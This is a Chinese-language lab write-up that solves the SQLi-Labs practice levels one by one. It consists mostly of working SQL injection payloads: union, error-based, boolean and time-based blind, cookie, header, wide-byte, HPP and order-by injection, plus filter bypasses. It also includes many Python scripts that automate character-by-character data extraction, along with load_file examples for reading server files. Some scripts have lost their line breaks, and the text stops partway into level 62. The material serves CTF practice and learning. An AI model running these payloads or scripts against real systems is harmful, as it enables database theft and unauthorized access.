SQLiLab很久之前就做过,当时还什么都不懂(现在也是),现在重新做一遍

文章目录

  • less1 字符型 union注入
  • less2 数字型 union注入
  • less3 字符型 union注入
  • less4
  • less5
    • 报错注入
    • 盲注方法
      • 1. 布尔盲注
        • `>`构造出的bool值
        • 通过正则构造bool值
      • 2. 时间盲注
  • less6
  • less7 导入导出相关操作
    • load_file() 导出文件
    • 文件导入到数据库
    • 导入到文件
    • 关于本题
  • less8
  • less9
  • less10
  • less11
  • less12
  • less13
  • less14
  • less15
  • less16
  • less17 insert
  • less18
    • http头的注入
  • less19
  • less20
  • less21
  • less22
  • less23 过滤 # --
    • bool盲注
    • union
    • 报错注入
  • less24 二次排序注入
  • less25 过滤or and
  • less25a
  • less26 过滤 空格 /* -- # // or and
  • less26a
  • less27 过滤+ union select
  • less27a
  • less28
  • less28a
  • less29
  • less30
  • less31
  • less32
    • 宽字节注入
  • less33
  • less34 宽字节+盲注
  • less35
  • less36
  • less37
  • 堆叠注入Stacked injection
  • less38-45
  • less46 order by 后的 injection
  • less47
  • less48
  • less49
  • less50
  • less51
  • less52
  • less53
  • less54
  • less55
  • less56
  • less57
  • less58
  • less59
  • less60
  • less61
  • less62
  • less63
  • less64
  • less65

less1 字符型 union注入

第一关先找到flag位置,以后每关以得到flag为目的

爆数据库名?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

爆表名-1' union select 1,group_concat(table_name),3 from information_schema.tables--+

确定flag在ctftraining里面?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctftraining'--+

确定列名?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'--+

getflag?id=-1' union select 1,group_concat(flag),3 from ctftraining.flag--+

less2 数字型 union注入

?id=1?id=2/2效果是一致的,说明是字符型

payload ?id = -1 union select 1,flag,3 from ctftraining.flag-- #

less3 字符型 union注入

闭合条件根据报错判断
?id=-2') union select 1,flag,3 from ctftraining.flag--+

less4

?id=-1") union select 1,2,flag from ctftraining.flag--+

less5

报错注入

原理就先不仔细研究了,先列出来几个常用的

?id=1' and extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e))--+

发现有长度限制 可以用left(),right()

?id=1' and extractvalue(0x0a,concat(0x0a,left((select flag from ctftraining.flag),30)))--+

?id=1' and extractvalue(0x0a,concat(0x0a,right((select flag from ctftraining.flag),30)))--+

列举常用的

函数/语句 usage
floor() ?id=1’ and (select 1 from (select count(*),concat((select flag from ctftraining.flag),floor(rand(0)*2))x from information_schema.tables group by x)a)–+
extractvalue() ?id=1’ and (extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e)))–+
updatexml() ?id=1’ and (updatexml(1,concat(0x7e,(select flag from ctftraining.flag),0x7e),1))–+
geometrycollection() ?id=1’ and ( geometrycollection((select * from(select * from(select flag from ctftraining.flag)a)b)))–+
multipoint() ?id=1’ and (multipoint((select * from(select * from(select flag from ctftraining.flag)a)b)))–+
polygon() ?id=1’ and (polygon((select * from(select * from(select flag from ctftraining.flag)a)b)))–+
multipolygon() ?id=1’ and (multipolygon((select * from(select * from(select flag from ctftraining.flag)a)b)))–+
linestring() ?id=1’ and (linestring((select * from(select * from(select flag from ctftraining.flag)a)b)))–+
multilinestring() ?id=1’ and (multilinestring((select * from(select * from(select flag from ctftraining.flag)a)b)))–+
exp() ?id=1’ and (exp(~(select * from(select flag from ctftraining.flag)a)))–+
  1. extractvalue() updatexml() 原理
  2. 郁离歌师傅的总结https://blog.csdn.net/like98k/article/details/79646512
  3. https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

盲注方法

1. 布尔盲注

通常会有不同输入导致不同结果(bool) ,这种不同可以直观体现出来(像返回数据,返回内容不同)
关键操作应该是截取数据,构造布尔表达式
常用截取数据的函数

函数 用法
mid() MID(string,start[,length]) string为要截取的字符串,start为起始位置,length可选,默认为剩下全部
substr(),substring() substring(string, start, length) string为要截取的字符串,start为起始位置,length为截取的长度
left() , right() Left ( string, n ) string为要截取的字符串,n为长度
ORD(),ASCII() 返回ASCII码值

上面的string都可以是一个表达式.如 (select flag from flag)
构造布尔表达式最简单的就是通过and,or之类的,再搭配= > < >= <=

>构造出的bool值
# -*- coding: utf-8 -*-
# @Time : 20.12.8 20:32
# @author:lonmar
import requests
import time
# ?id=1' and 1=(substr((select flag from ctftraining.flag),1,1)='f')--+
url = 'http://acfd693d-9472-49b4-be60-60bc099104d7.node3.buuoj.cn/Less-5/'
sql = 'select flag from ctftraining.flag'
flag = ''
i = 1
while True:esp = 128ebp = 32mid = 0tmp = 0while True:# time.sleep(0.1) # buu有waftmp = midmid = int((esp + ebp) / 2)payload = f"?id=1' and substr(({sql}),{i},1)>'{chr(mid)}'--+"response = requests.get(url=url + payload)if 'You are in...........' in response.text:ebp = midelse:esp = midif tmp == mid:flag = flag + chr(mid+1)print(flag)breaki = i + 1if chr(mid+1) == '}':break
通过正则构造bool值

就是利用简单的正则来构造布尔表达式
常用的: like() regexp()

如:
?id=1' and (select flag from ctftraining.flag) regexp '^flag'--+ 是bool 1
?id=1' and (select flag from ctftraining.flag) regexp '^flag['--+ 是bool 0
id=1' and (select flag from ctftraining.flag) like 'flag%'--+ bool 1
?id=1' and (select flag from ctftraining.flag) like 'flag[%'--+ bool 0
使用regexp可以用正则范围如'^[a-z]'这样的确定范围
使用like可以先用_来确定长度,再一个一个替换确定单个字符(多线程)

2. 时间盲注

利用if语句,if(a,b,c) ,延时可以有很多种方法,如sleep(),BENCHMARK(count,expr),笛卡尔积等
IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false则返回expr3的值
脚本:

# -*- coding: utf-8 -*-
# @Time : 20.12.9 20:13
# @author:lonmar
import requestsurl = 'http://sqlilab.com:8000/Less-5/'
sql = 'select flag from ctftraining.flag'
# id=1' and if(substr((select flag from ctftraining.flag),1,1)='f',0,sleep(3))--+
flag = ''
i = 0
while True:esp = 128ebp = 32mid = 0i = i + 1while True:tmp = midmid = int((esp + ebp) / 2)payload = f"?id=1'and if(substr(({sql}),{i},1)>'{chr(mid)}',0,sleep(0.5))--+"if tmp == mid:flag = flag + chr(mid + 1)print(flag)breaktry:response = requests.get(url=url + payload, timeout=0.3)ebp = midexcept:esp = midif chr(mid+1) == '}':print(flag)break

less6

?id=1" and extractvalue(0x0a,concat(0x0a,left((select flag from ctftraining.flag),30)))--+

?id=1" and extractvalue(0x0a,concat(0x0a,right((select flag from ctftraining.flag),30)))--+

# -*- coding: utf-8 -*-
# @Time : 20.12.8 20:32
# @author:lonmar
import requests
import time
# ?id=1' and 1=(substr((select flag from ctftraining.flag),1,1)='f')--+
url = 'http://acfd693d-9472-49b4-be60-60bc099104d7.node3.buuoj.cn/Less-6/'
sql = 'select flag from ctftraining.flag'
flag = ''
i = 1
while True:esp = 128ebp = 32mid = 0tmp = 0while True:time.sleep(0.1)tmp = midmid = int((esp + ebp) / 2)payload = f'?id=1" and substr(({sql}),{i},1)>"{chr(mid)}"--+'response = requests.get(url=url + payload)if 'You are in...........' in response.text:ebp = midelse:esp = midif tmp == mid:flag = flag + chr(mid+1)print(flag)breaki = i + 1if chr(mid+1) == '}':break

less7 导入导出相关操作

load_file() 导出文件

Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
使用条件:
A、必须有权限读取并且文件必须完全可读
and (selectcount(*) from mysql.user)>0/*如果结果返回正常,说明具有读写权限。
and (select count(*) from mysql.user)>0/*返回错误,应该是管理员给数据库帐户降权
B、欲读取文件必须在服务器上
C、必须指定文件完整的路径
D、欲读取文件必须小于 max_allowed_packet
在实际的注入中,我们有两个难点需要解决:

  1. 绝对物理路径 常用路径 http://www.cnblogs.com/lcamry/p/5729087.html
  2. 构造有效的畸形语句 (报错爆出绝对路径)

示例:

示例:Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)))
利用 hex()将文件内容导出来,尤其是 smb 文件时可以使用。-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
Explain:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain:“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”-1 union select 1,1,1,load_file(c:\\boot.ini)
Explain:路径里的/用 \\代替

文件导入到数据库

LOAD DATAINFILE 语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串

示例:load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t'
lines terminated by '\n'将/tmp/t0.txt 导入到 t0 表中,character set gbk 是字符集设置为 gbk,fields terminated by 是每一项数据之间的分隔符,lines terminated by 是行的结尾符。
当错误代码是 2 的时候的时候,文件不存在,错误代码为 13 的时候是没有权限,可以考虑/tmp 等文件夹。

导入到文件

SELECT…INTO OUTFILE ‘file_name’

可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE权限,才能使用此语法。file_name 不能是一个已经存在的文件。

关于本题

还是用盲注,因为虽然MySQL可以操作文件,但是没有有效路径来写结果,如下

import requests
url = 'http://sqlilab.com:8000/Less-7/'
sql = 'select flag from ctftraining.flag'
flag = ''
i = 0
while True:esp = 128ebp = 32mid = 0i = i + 1while True:tmp = midmid = int((esp + ebp) / 2)payload = f"?id=1')) and if(substr(({sql}),{i},1)>'{chr(mid)}',0,sleep(0.5))--+"if tmp == mid:flag = flag + chr(mid + 1)print(flag)breaktry:response = requests.get(url=url + payload, timeout=0.3)ebp = midexcept:esp = midif chr(mid+1) == '}':print(flag)break

less8

时间盲注

# -*- coding: utf-8 -*-
# @Time : 20.12.9 20:13
# @author:lonmar
# 时间盲注
import requests
url = 'http://sqlilab.com:8000/Less-8/'
sql = 'select flag from ctftraining.flag'
flag = ''
i = 0
while True:esp = 128ebp = 32mid = 0i = i + 1while True:tmp = midmid = int((esp + ebp) / 2)payload = f"?id=1'and if(substr(({sql}),{i},1)>'{chr(mid)}',0,sleep(0.5))--+"if tmp == mid:flag = flag + chr(mid + 1)print(flag)breaktry:response = requests.get(url=url + payload, timeout=0.3)ebp = midexcept:esp = midif chr(mid+1) == '}':print(flag)break

less9

时间盲注
?id=1' and sleep(5)--+

import requests
url = 'http://sqlilab.com:8000/Less-9/'
sql = 'select flag from ctftraining.flag'
flag = ''
i = 0
while True:esp = 128ebp = 32mid = 0i = i + 1while True:tmp = midmid = int((esp + ebp) / 2)payload = f"?id=1' and if(substr(({sql}),{i},1)>'{chr(mid)}',0,sleep(0.5))--+"if tmp == mid:flag = flag + chr(mid + 1)print(flag)breaktry:response = requests.get(url=url + payload, timeout=0.3)ebp = midexcept:esp = midif chr(mid+1) == '}':print(flag)break

less10

同上
"构成闭合

less11

POST类型的,直接POST如下数据(万能密码)
passwd=dsa' or 1=1#&submit=Submit&uname=asd
POST
passwd=dsa' and (extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e)))#&submit=Submit&uname=asd

less12

同上")构成闭合
passwd=dsa") and (extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e)))#&submit=Submit&uname=asd

less13

同上 ') 闭合
passwd=dsa') and (extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e)))#&submit=Submit&uname=asd

less14

"闭合
passwd=dsa" and (extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e)))#&submit=Submit&uname=asd

less15

盲注,下面的可以测出是'闭合
passwd=dsa' or sleep(5)#&submit=Submit&uname=asd
脚本:

import requests
url = 'http://sqlilab.com:8000/Less-15/'
sql = 'select flag from ctftraining.flag'
flag = ''
i = 0
while True:i = i + 1esp = 128ebp = 32mid = 0while True:tmp = midmid = int((esp + ebp) / 2)data = {'uname': '1','passwd': f"1' or substr(({sql}),{i},1)>'{chr(mid)}'-- "}response = requests.post(url=url, data=data)if mid == tmp:flag = flag + chr(mid + 1)print(flag)breakif 'flag.jpg' in response.text:ebp = midif 'slap.jpg' in response.text:esp = midif chr(mid+1) == '}':print(flag)break

less16

同上.下面的可以测出")
passwd=dsa") or 1=1#&submit=Submit&uname=asd

import requests
url = 'http://sqlilab.com:8000/Less-16/'
sql = 'select flag from ctftraining.flag'
flag = ''
i = 0
while True:i = i + 1esp = 128ebp = 32mid = 0while True:tmp = midmid = int((esp + ebp) / 2)data = {'uname': '1','passwd': '")'+f" or substr(({sql}),{i},1)>'{chr(mid)}'-- "}response = requests.post(url=url, data=data)if mid == tmp:flag = flag + chr(mid + 1)print(flag)breakif 'flag.jpg' in response.text:ebp = midif 'slap.jpg' in response.text:esp = midif chr(mid+1) == '}':print(flag)break

less17 insert

可以直接报错注入

POST /Less-17/ HTTP/1.1
Host: sqlilab.com:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 113
Origin: http://sqlilab.com:8000
DNT: 1
Connection: close
Referer: http://sqlilab.com:8000/Less-17/
Upgrade-Insecure-Requests: 1uname=admin&passwd=adsa'or (extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e)))#&submit=Submit

less18

这题是在ua这的

http头的注入

可以参考 https://zhuanlan.zhihu.com/p/27553821

可以报错注入和时间盲注

报错注入比较简单

1' and (extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e))) and '

时间盲注:

脚本:

# -*- coding: utf-8 -*-
# @Time : 20.12.10 19:57
# @author:lonmar
import requestsurl = 'http://sqlilab.com:8000/Less-18/'
sql = 'select flag from ctftraining.flag'
flag = ''
i = 0
while True:i = i + 1esp = 128ebp = 32mid = 0while True:tmp = midmid = int((esp+ebp)/2)payload = f"1' and if((substr(({sql}),{i},1)>'{chr(mid)}'),1,sleep(2)) and '"data = {'uname': 'Dumb','passwd': '0','submit': 'Submit'}kv = {'user-agent': payload}# print(response.text)if mid == tmp:flag = flag + chr(mid+1)print(flag)breaktry:response = requests.post(url=url, data=data, headers=kv, timeout=0.5)ebp = midexcept:esp = midif chr(mid+1) == '}':print(flag)break

less19

上面脚本改一改,Referer处

# -*- coding: utf-8 -*-
# @Time : 20.12.10 19:57
# @author:lonmar
import requestsurl = 'http://sqlilab.com:8000/Less-19/'
sql = 'select flag from ctftraining.flag'
flag = ''
i = 0
while True:i = i + 1esp = 128ebp = 32mid = 0while True:tmp = midmid = int((esp+ebp)/2)payload = f"1' and if((substr(({sql}),{i},1)>'{chr(mid)}'),1,sleep(2)) and '"data = {'uname': 'Dumb','passwd': '0','submit': 'Submit'}kv = {'Referer': payload}# print(response.text)if mid == tmp:flag = flag + chr(mid+1)print(flag)breaktry:response = requests.post(url=url, data=data, headers=kv, timeout=0.5)ebp = midexcept:esp = midif chr(mid+1) == '}':print(flag)break

less20

cookie注入

# -*- coding: utf-8 -*-
# @Time : 20.12.10 20:26
# @author:lonmar
import requests
url = 'http://sqlilab.com:8000/Less-20/'
flag = ''
sql = 'select flag from ctftraining.flag'
i = 0
while True:i = i + 1esp = 128ebp = 32mid = 0while True:tmp = midmid = int((esp+ebp)/2)payload = f"'and if((substr(({sql}),{i},1)>'{chr(mid)}'),1,sleep(2))#"kv = {'Cookie': "uname=Dumb"+payload}if mid == tmp:flag = flag + chr(mid+1)print(flag)breaktry:response = requests.get(url=url, headers=kv, timeout=0.2)ebp = midexcept:esp = midif chr(mid+1) == '}':print(flag)break

less21

也是cookie这的,不过对cookie进行base64编码了 (盲注没尝试成功)
直接报错注入(闭合是')
q') and extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e))#
=>
cScpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGZsYWcgZnJvbSBjdGZ0cmFpbmluZy5mbGEpLDB4N2UpKSM=

盲注,盲注需要注意uname=Dumb,uname后面的名字要是在数据库中存在的,base64编码后要再对payload进行url编码.

# -*- coding: utf-8 -*-
# @Time : 20.12.11 11:04
# @author:lonmar
import requests
import base64
import urllib
url = 'http://sqlilab.com/Less-21/'
flag = ''
sql = 'select flag from ctftraining.flag'
i = 0
while True:i = i + 1esp = 128ebp = 32mid = 0while True:tmp = midmid = int((esp+ebp)/2)payload = f"Dumb') and if((substr(({sql}),{i},1)>'{chr(mid)}'),1,sleep(2))#"payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')payload = urllib.parse.quote(payload)kv = {'Cookie': 'uname='+payload}if mid == tmp:flag = flag + chr(mid+1)print(flag)breaktry:response = requests.get(url=url, headers=kv, timeout=0.2)ebp = midexcept:esp = midif chr(mid+1) == '}':print(flag)break

less22

同上
闭合是"

q" and extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e))#
=>
cSIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZmxhZyBmcm9tIGN0ZnRyYWluaW5nLmZsYWcpLDB4N2UpKSM=

盲注脚本

# -*- coding: utf-8 -*-
# @Time : 20.12.11 11:04
# @author:lonmar
import requests
import base64
import urllib
url = 'http://sqlilab.com/Less-22/'
flag = ''
sql = 'select flag from ctftraining.flag'
i = 0
while True:i = i + 1esp = 128ebp = 32mid = 0while True:tmp = midmid = int((esp+ebp)/2)payload = 'Dumb"'+f"and if((substr(({sql}),{i},1)>'{chr(mid)}'),1,sleep(2))#"payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')payload = urllib.parse.quote(payload)kv = {'Cookie': 'uname='+payload}if mid == tmp:flag = flag + chr(mid+1)print(flag)breaktry:response = requests.get(url=url, headers=kv, timeout=0.2)ebp = midexcept:esp = midif chr(mid+1) == '}':print(flag)break

开始有过滤了

less23 过滤 # –

bool盲注

通过查看后端代码可以看到过滤了-- #
FUZZ可以FUZZ出来一些显示正常的语句

然后构造下面的 -2’


?id=1' and 1 and '1'='1 会正常返回?id=1' and 0 and '1'='1不会正常返回

可以构造bool盲注 或者 时间盲注
?id=1' and sleep(3) and '1'='1

bool盲注脚本:

# -*- coding: utf-8 -*-
# @Time : 20.12.11 11:35
# @author:lonmar
import requests
url = 'http://sqlilab.com/Less-23/'
flag = ''
sql = 'select flag from ctftraining.flag'
i = 0
while True:i = i + 1esp = 128ebp = 32mid = 0while True:tmp = midmid = int((esp+ebp)/2)payload = f"?id=1' and (substr(({sql}),{i},1)>'{chr(mid)}') and '1"if mid == tmp:flag = flag + chr(mid+1)print(flag)breakres = requests.get(url=url+payload)if 'Dumb' in res.text:ebp = midelse:esp = mid
+    if chr(mid+1) == '}':print(flag)break

union

更简单的是构造union注入
?id=-1' union select 2,(select flag from ctftraining.flag), '1
后端sql语句为
select * from users where id = '$id' limit 0,1

构造拼接
select * from users id = '-1' union select 1,2,'3' limit 0,1
select * from users id = '-1' union select 1,(select flag from ctftraining.flag),'3' limit 0,1

报错注入

?id=-1' or (extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e))) or '1
sql语句拼接成
select * from users where id = '-1' or (extractvalue(1,concat(0x7e,(select flag from ctftraining.flag),0x7e))) or '1' limit 0,1

less24 二次排序注入

漏洞产生原理还是对用户输入未做限制

查看注册时,是怎么防护sql注入的,直接把"转义,应该是能够防止黑客逃逸这个引号,所以注册时没有问题

再看修改密码处,username没有过滤和防护 , 就可以产生注入,最简单利用的是修改任意用户密码


修改admin密码利用:

  1. 注册admin’#
  2. 修改admin’#密码
  3. 发现可以登录admin用户(利用修改后的密码)

尝试了下盲注之类的,但是利用失败了

less25 过滤or and

仍然可以联合注入
?id=-1' union select 1,2,flag from ctftraining.flag--+

本关主要为 or and 过滤,如何绕过 or 和 and 过滤。一般性提供以下几种思路:
(1)大小写变形 Or,OR,oR
(2)编码,hex,urlencode
(3)添加注释/*or*/
(4)利用符号 and=&& or=||

less25a

数字型
?id=0 union select 1,flag,3 from ctftraining.flag#

less26 过滤 空格 /* – # // or and

payload: ?id=0'union%0bselect%0b1,(select(flag)from(ctftraining.flag)),'1

对于过滤空格:
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
对于过滤注释:
select * from users where id = '$id' limit 0,1;
$id = 1' union select 1,2,'3
拼接为
select * from users where id = '1' union select 1,2,'3' limit 0,1;

less26a

闭合变成了 ") 构造 ?id=1")("1
?id=0')union%0bselect%0b1,(select(flag)from(ctftraining.flag)),('1

less27 过滤+ union select

在前面的基础上又加上了 union和select,但是可以用大小写绕过

?id=0'uniOn%0bseLect%0b1,(seLect(flag)from(ctftraining.flag)),'1

less27a

"$id"
payload:
?id=0"uniOn%0bseLect%0b1,(seLect(flag)from(ctftraining.flag)),"1

less28

闭合变成了('$id')
?id=0')union%0bselect%0b1,(select(flag)from(ctftraining.flag)),('1

less28a

/?id=0')union%0bselect%0b1,(select(flag)from(ctftraining.flag)),('1

less29

HPP攻击:

原理可见: HPP 的攻击举例与防范

但是这篇文章并没有很具体的给出防范措施

本题用这个来绕过WAF

在login.php里,输'之类的会被waf探测到

/login.php?id=1&id=-2'union select 1,(select flag from ctftraining.flag),3--+可绕过

源码分析

后端waf,任何非数字的都会被waf掉

java_implimentation()函数之间获取同名参数的第一个

后端检查的实际上是模拟服务器apache,语言jsp,只检测第一个id所以会出现问题.绕过waf

less30

同上,闭合条件变为"

http://sqlilab.com/Less-30/login.php?id=1&id=-2"union select 1,(select flag from ctftraining.flag),3--+

less31

")

http://sqlilab.com/Less-31/login.php?id=1&id=-2")union select 1,(select flag from ctftraining.flag),3--+

less32

宽字节注入

参考 https://www.cnblogs.com/Rain99-/p/10583406.html

原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思路是将 ‘ 转换为 \’ (转换的函数或者思路会在每一关遇到的时候介绍)
因此我们在此想办法将 ‘ 前面添加的 \ 除掉,一般有两种思路:

1、%df 吃掉 \ 具体的原因是 urlencode(‘) = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的
2、将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c给注释掉。这也是 bypass 的一种方法

http://sqlilab.com/Less-32/?id=-1%df' union select 1,2,flag from ctftraining.flag--+
%df' => %df\' => %df%5c%27 =>x'

后端waf

less33

http://sqlilab.com/Less-33/?id=-1%df' union select 1,2,flag from ctftraining.flag--+
同上

less34 宽字节+盲注

POST uname=admin1%df'or 1=1-- #&passwd=1&submit=Submit

可以bool盲注:

写脚本遇到一个比较坑的,request自动对POST的data和get的url进行编码,导致%也被编码
解决方法 先解码一下再POST 参考https://www.cnblogs.com/deen-/p/7191608.html

# -*- coding: utf-8 -*-
# @Time : 20.12.11 18:11
# @author:lonmar
import requests
import urllib
url = 'http://sqlilab.com/Less-34/'
flag = ''
sql = 'select flag from ctftraining.flag'
i = 0
while True:i = i + 1esp = 128ebp = 32mid = 0while True:tmp = midmid = int((esp+ebp)/2)payload = "admin%df%27" + f'or 1=(ascii(substr(({sql}),{i},1))>{mid})-- #'payload = urllib.parse.unquote(payload)data = {'passwd': '1','submit': 'Submit','uname': payload}if mid == tmp:flag = flag + chr(mid+1)print(flag)breakres = requests.post(url=url, data=data)if 'flag.jpg' in res.text:ebp = midelse:esp = midif chr(mid+1) == '}':print(flag)break

less35

http://sqlilab.com/Less-35/?id=-1 union select 1,2,flag from ctftraining.flag

less36

和less34差不多

# -*- coding: utf-8 -*-
# @Time : 20.12.11 19:27
# @author:lonmar
import requests
import urllib
url = 'http://sqlilab.com/Less-36/'
flag = ''
sql = 'select flag from ctftraining.flag'
i = 0
while True:i = i + 1esp = 128ebp = 32mid = 0while True:tmp = midmid = int((esp+ebp)/2)payload = "?id=admin%df'" + f'or 1=(ascii(substr(({sql}),{i},1))>{mid})-- #'payload = urllib.parse.unquote(payload)if mid == tmp:flag = flag + chr(mid+1)print(flag)breakres = requests.get(url=url+payload)if 'Dumb' in res.text:ebp = midelse:esp = midif chr(mid+1) == '}':print(flag)break

less37

直接拿34脚本跑

# -*- coding: utf-8 -*-
# @Time : 20.12.11 19:37
# @author:lonmar
import requests
import urllib
url = 'http://sqlilab.com/Less-37/'
flag = ''
sql = 'select flag from ctftraining.flag'
i = 0
while True:i = i + 1esp = 128ebp = 32mid = 0while True:tmp = midmid = int((esp+ebp)/2)payload = "admin%df%27" + f'or 1=(ascii(substr(({sql}),{i},1))>{mid})-- #'payload = urllib.parse.unquote(payload)data = {'passwd': '1','submit': 'Submit','uname': payload}if mid == tmp:flag = flag + chr(mid+1)print(flag)breakres = requests.post(url=url, data=data)if 'flag.jpg' in res.text:ebp = midelse:esp = midif chr(mid+1) == '}':print(flag)break

堆叠注入Stacked injection

原理 : https://www.cnblogs.com/lcamry/p/5762905.html

简单概括就是可以执行多条任意的语句.

局限性:


Mysql数据库在某些情况下可以进行堆叠注入

Oracle数据库本身并不支持这种堆叠查询,但是可以PL/SQL借助扩展进行堆叠注入

通过匿名函数 dbms_xmlquery.getXML()或者dbms_xmlquery.newcontext()实现

less38-45

sqli-lab的堆叠注入好像没什么意思,也没回显.以后有时间再做

less46 order by 后的 injection

姿势参考 : sql注入之order by注入–王叹之

?sort=if(1=2,username,(select id from information_schema.tables)) 会有Subquery returns more than 1 row
?sort=if(1=2,username,(select id from information_schema.tables))

利用这个可以bool盲注

# -*- coding: utf-8 -*-
# @Time : 20.12.11 20:32
# @author:lonmarimport requests
url = 'http://sqlilab.com/Less-46/'
flag = ''
sql = 'select flag from ctftraining.flag'
i = 0
while True:i = i + 1esp = 128ebp = 32mid = 0while True:tmp = midmid = int((esp+ebp)/2)# ?sort=if(substr((select flag from ctftraining.flag),1,1)>'e',username,(select id from information_schema.tables))payload = f"?sort=if(substr(({sql}),{i},1)>'{chr(mid)}',username,(select id from information_schema.tables))"if mid == tmp:flag = flag + chr(mid+1)print(flag)breakres = requests.get(url=url+payload)if 'Subquery returns more than 1 row' in res.text:esp = midelse:ebp = midif chr(mid+1) == '}':print(flag)break

也可以时间盲注:

# -*- coding: utf-8 -*-
# @Time : 20.12.11 20:47
# @author:lonmarimport requests
url = 'http://sqlilab.com/Less-46/'
flag = ''
sql = 'select flag from ctftraining.flag'
i = 0
while True:i = i + 1esp = 128ebp = 32mid = 0while True:tmp = midmid = int((esp+ebp)/2)payload = f"?sort=if(substr(({sql}),{i},1)>'{chr(mid)}',username,sleep(5))"if mid == tmp:flag = flag + chr(mid+1)print(flag)breaktry:res = requests.get(url=url + payload, timeout=0.5)ebp = midexcept:esp = midif chr(mid+1) == '}':print(flag)break

less47

同上
http://sqlilab.com/Less-47/?sort=' or if(1=2,id,(select id from information_schema.tables))--+ 会有Subquery returns more than 1 row
根据这个进行盲注

less48

http://sqlilab.com/Less-48/?sort=if(1=2,id,(select id from information_schema.tables)) 无回显,别的正常
根据这个构造bool盲注

less49

http://sqlilab.com/Less-49/?sort=' or if(1=2,id,(select id from information_schema.tables))--+

http://sqlilab.com/Less-49/?sort=' or if(1=1,id,(select id from information_schema.tables))--+

less50

http://sqlilab.com/Less-50/?sort=if(1=2,id,(select id from information_schema.tables))

http://sqlilab.com/Less-50/?sort=if(1=1,id,(select id from information_schema.tables))

less51

http://sqlilab.com/Less-51/?sort=' or if(1=2,id,(select id from information_schema.tables))--+

and

http://sqlilab.com/Less-51/?sort=' or if(1=1,id,(select id from information_schema.tables))--+

less52

http://sqlilab.com/Less-52/?sort=if(1=1,id,(select id from information_schema.tables))

and

http://sqlilab.com/Less-52/?sort=if(1=2,id,(select id from information_schema.tables))

less53

http://sqlilab.com/Less-53/?sort=' or if(1=2,id,(select id from information_schema.tables))--+

http://sqlilab.com/Less-53/?sort=' or if(1=1,id,(select id from information_schema.tables))--+

less54

注表名:

?id=0' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

Your Login name:challenges
Your Password:IBY7ZSE2AR

注列名:

?id=0' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database()--+

Your Login name:challenges
Your Password:id,sessid,secret_9A2K,tryy

得到key

?id=0' union select 1,database(),group_concat(secret_9A2K) from challenges.IBY7ZSE2AR--+

Your Login name:challenges
Your Password:t1jzYjvdfyvk7smz910qwiL3

less55

构造闭合?id=1)--+ , 其余同上

less56

?id=1') union select 1,2,3--+

less57

?id=0" union select 1,2,3--+

less58

报错注入

?id=1' and extractvalue(0x0a,concat(0x0a,(select database())))--+

less59

?id=1 and extractvalue(0x0a,concat(0x0a,(select database())))--+

less60

?id=1") and extractvalue(0x0a,concat(0x0a,(select database())))--+

less61

?id=1')) and extractvalue(0x0a,concat(0x0a,(select database())))--+

less62

可以进行bool盲注,不过可能要超出次数了
脚本:

# -*- coding: utf-8 -*-
# @Time : 20.12.12 13:52
# @author:lonmarimport requests
url = 'http://sqlilab.com/Less-62/index.php'
